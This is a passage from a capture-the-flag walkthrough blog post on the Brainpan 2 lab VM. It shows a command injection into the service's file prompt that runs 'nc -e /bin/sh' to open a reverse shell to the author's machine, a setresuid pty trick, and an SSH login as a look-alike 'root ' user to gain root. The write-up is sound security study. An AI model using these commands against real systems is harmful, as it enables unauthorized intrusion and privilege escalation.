Remembering what the notes.txt from earlier said, I decided to change the existing brainpan.cfg file. In doing so, I was able to configure the service to run on 0.0.0.0 and port 9444.
$ cd /opt/old/brainpan-1.8 cd /opt/old/brainpan-1.8 $ ls -al ls -al total 36 drwxrwxr-x 2 root staff 4096 Nov 5 2013 . drwx------ 3 root root 4096 Nov 4 2013 .. -rwsr-xr-x 1 puck puck 17734 Nov 4 2013 brainpan-1.8.exe -rw-r--r-- 1 puck puck 1227 Nov 5 2013 brainpan.7 -rw-rw-rw- 1 puck staff 27 Nov 5 2013 brainpan.cfg $ cat brainpan.cfg cat brainpan.cfg port=9333 ipaddr=127.0.0.1 $ echo "port=9333" > brainpan.cfg echo "port=9333" > brainpan.cfg $ echo "ipaddr=0.0.0.0" >> brainpan.cfg echo "ipaddr=0.0.0.0" >> brainpan.cfg $ ./brainpan-1.8.exe ./brainpan-1.8.exe port = 9333 ipaddr = 0.0.0.0 bind: Address already in use $ echo "port=9444" > brainpan.cfg echo "port=9444" > brainpan.cfg $ echo "ipaddr=0.0.0.0" >> brainpan.cfg echo "ipaddr=0.0.0.0" >> brainpan.cfg $ ./brainpan-1.8.exe ./brainpan-1.8.exe port = 9444 ipaddr = 0.0.0.0 + bind done + waiting for connections...
After some poking and prodding, I was actually able to get the same command execution vulnerability to work on this version!
root@kali:~/brainpan2# telnet 192.168.56.101 9444 Trying 192.168.56.101... Connected to 192.168.56.101. Escape character is '^]'. _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [______________________ WELCOME TO BRAINPAN 1.8________________________] LOGIN AS GUEST >> HELP ACCESS DENIED >> DEBUG ACCESS DENIED >> SYSTEM ACCESS DENIED >> LOGIN ACCESS DENIED >> GUEST ACCESS GRANTED * * * * THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. * * * * >> VIEW ENTER FILE TO DOWNLOAD: a; nc -e /bin/sh 192.168.56.103 4444
When I caught my reverse shell, I noticed that I now had an euid for puck. While I could view his home directory, I was having trouble migrating to a tty for him (more on this later).
root@kali:~# nc -lvp 4444 listening on [any] 4444 ... 192.168.56.101: inverse host lookup failed: Unknown host connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 41436 id uid=1000(anansi) gid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff),1000(anansi) python -c 'import pty;pty.spawn("/bin/bash")' bash-4.2$ id id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) bash-4.2$ exit exit exit id uid=1000(anansi) gid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff),1000(anansi) cd /home/puck ls -al total 28 drwx------ 4 puck puck 4096 Nov 5 2013 . drwxr-xr-x 5 root root 4096 Nov 4 2013 .. drwxr-xr-x 3 puck puck 4096 Nov 5 2013 .backup -rw------- 1 puck puck 0 Nov 5 2013 .bash_history -rw-r--r-- 1 puck puck 220 Nov 4 2013 .bash_logout -rw-r--r-- 1 puck puck 3392 Nov 4 2013 .bashrc -rw-r--r-- 1 puck puck 675 Nov 4 2013 .profile drwx------ 2 puck puck 4096 Nov 5 2013 .ssh
Puck’s bash_history had a few interesting commands in it. First, it seemed that puck was SSHing as the “root ” user into this host, as opposed to running a sudo command. Additionally, he seemed to have moved his old .ssh and .bash* files to a .backup directory.
cat .bash_history cd /usr/local/bin ls -l ./msg_root "comment on the latest version please" cd /opt/brainpan/ ps aux vi brainpan-1.8.c cd ../archive netstat -antp netstat -antp | grep 9888 cd .. ls cd old ls cd brainpan-1.8 vi brainpan-1.8.c ssh -l "root " brainpan2 vi brainpan.7 man ./brainpan.7 ls htop top ls -latr cat .bash_history ls mkdir .backup mv .ssh .bash* .backup cd .backup/ ls clear ls -latr exit
Viewing the sshd_config file, I was able to verify that SSH was running, albeit on the localhost port 2222.
cat /etc/ssh/sshd_config # Package generated configuration file # See the sshd_config(5) manpage for details # What ports, IPs and protocols we listen for Port 2222 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 ListenAddress 127.0.1.1
After running netstat, I was able to verify that SSHD was running on the machine.
netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.1.1:2222 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 3244/netstat
tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9333 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9444 0.0.0.0:* LISTEN 3244/netstat
tcp 56 0 192.168.56.101:9999 192.168.56.103:41894 CLOSE_WAIT 3244/netstat
tcp 1 0 192.168.56.101:9444 192.168.56.103:54316 CLOSE_WAIT 3244/netstat
tcp 0 0 192.168.56.101:37405 192.168.56.102:443 ESTABLISHED -
tcp 0 0 192.168.56.101:56598 192.168.56.103:443 CLOSE_WAIT -
tcp 1 0 192.168.56.101:9444 192.168.56.103:54310 CLOSE_WAIT 3244/netstat
tcp 0 0 192.168.56.101:9999 192.168.56.103:41908 ESTABLISHED 3244/netstat
tcp 0 0 192.168.56.101:41436 192.168.56.103:4444 ESTABLISHED 3244/netstat
tcp 0 0 192.168.56.101:56593 192.168.56.103:443 CLOSE_WAIT -
tcp 0 0 192.168.56.101:56599 192.168.56.103:443 ESTABLISHED -
tcp 36 0 192.168.56.101:9999 192.168.56.103:41902 CLOSE_WAIT 3244/netstat
tcp 0 0 192.168.56.101:9444 192.168.56.103:54318 ESTABLISHED 3244/netstat
tcp 0 0 192.168.56.101:56597 192.168.56.103:443 CLOSE_WAIT -
tcp 1 0 192.168.56.101:9444 192.168.56.103:54312 CLOSE_WAIT 3244/netstat
tcp 16 0 192.168.56.101:9999 192.168.56.103:41900 CLOSE_WAIT 3244/netstat
tcp 1 0 192.168.56.101:9999 192.168.56.103:41904 CLOSE_WAIT 3244/netstat
udp 0 0 0.0.0.0:14124 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp6 0 0 :::58113 :::* -
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 6 [ ] DGRAM 5401 - /dev/log
unix 2 [ ACC ] STREAM LISTENING 5446 - /var/run/acpid.socket
unix 2 [ ACC ] SEQPACKET LISTENING 3181 - /run/udev/control
unix 2 [ ] DGRAM 6036 -
unix 2 [ ] DGRAM 6035 -
unix 2 [ ] DGRAM 5784 -
unix 2 [ ] DGRAM 5443 -
unix 3 [ ] DGRAM 3188 -
unix 3 [ ] DGRAM 3187 -
While it seemed like I would be able to easily login as the “root ” user, I ran into some more headaches at this point.
First, when I attempted to use the old SSH keys, I was unable to accept the host’s certificate
(terminal 1) ssh -i .ssh/id_rsa [email protected] -p 2222 ... (reverse shell) Pseudo-terminal will not be allocated because stdin is not a terminal. The authenticity of host '[127.0.1.1]:2222 ([127.0.1.1]:2222)' can't be established. ECDSA key fingerprint is 0a:15:1c:1c:25:b0:fe:54:8a:35:45:e5:b8:02:97:1a. Are you sure you want to continue connecting (yes/no)?
Next, I was receiving a prompt for a password even when I attempted to use the id_rsa private key with no StrictHostKeyChecking.
ls -al total 16 drwx------ 2 puck puck 4096 Nov 4 2013 . drwxr-xr-x 3 puck puck 4096 Nov 5 2013 .. -rw------- 1 puck puck 1675 Nov 4 2013 id_rsa -rw-r--r-- 1 puck puck 396 Nov 4 2013 id_rsa.pub pwd /home/puck/.backup/.ssh ssh -oStrictHostKeyChecking=no -i "./id_rsa" -l "root " 127.0.1.1 -p 2222 Warning: Identity file ./id_rsa not accessible: Permission denied. Pseudo-terminal will not be allocated because stdin is not a terminal. root @127.0.1.1's password:
Finally, I decided to move the backup .ssh directory back into the home directory.
mv .ssh .ssh-old mv .backup/.ssh . ls -al total 32 drwx------ 5 puck puck 4096 Jul 7 10:05 . drwxr-xr-x 5 root root 4096 Nov 4 2013 .. drwxr-xr-x 2 puck puck 4096 Jul 7 10:05 .backup -rw------- 1 puck puck 0 Nov 5 2013 .bash_history -rw-r--r-- 1 puck puck 220 Nov 4 2013 .bash_logout -rw-r--r-- 1 puck puck 3392 Nov 4 2013 .bashrc -rw-r--r-- 1 puck puck 675 Nov 4 2013 .profile drwx------ 2 puck puck 4096 Nov 4 2013 .ssh drwx------ 2 puck puck 4096 Nov 5 2013 .ssh-old
Additionally, I was able to get the proper uid (puck) as opposed to just an euid.
python -c 'import os,pty;os.setresuid(1001,1001,1001);pty.spawn("/bin/bash");' puck@brainpan2:/home/puck$ id id uid=1001(puck) gid=1000(anansi) groups=1001(puck),50(staff),1000(anansi)
With all of my changes in place, I was able to SSH as the “root ” user and get a UID of 0!
puck@brainpan2:/home/puck$ ssh -oStrictHostKeyChecking=no -l "root " 127.0.1.1 -p 2222 Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jul 7 10:10:05 2017 from localhost root @brainpan2:~# id id uid=0(root ) gid=0(root ) groups=0(root )
As the real root user, I was also able to read the flag.txt file and finish the challenge.
root @brainpan2:/root# cat flag.txt cat flag.txt !!! CONGRATULATIONS !!! You've completed the Brainpan 2 challenge! Or have you...? Yes, you have! Pat yourself on the back. 🙂 Questions, comments, suggestions for new VM challenges? Let me know! Twitter: @superkojiman Email : [email protected] Web : http://www.techorganic.com
While this challenge took me a long time to complete, as well as blog about, it was definitely worth it.
I learned a few things about SSH keys, euids, and even some binary exploitation.
Hopefully I will be able to finish Brainpan 3 in a quicker timeline, so be on the lookout for that walkthrough as well!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.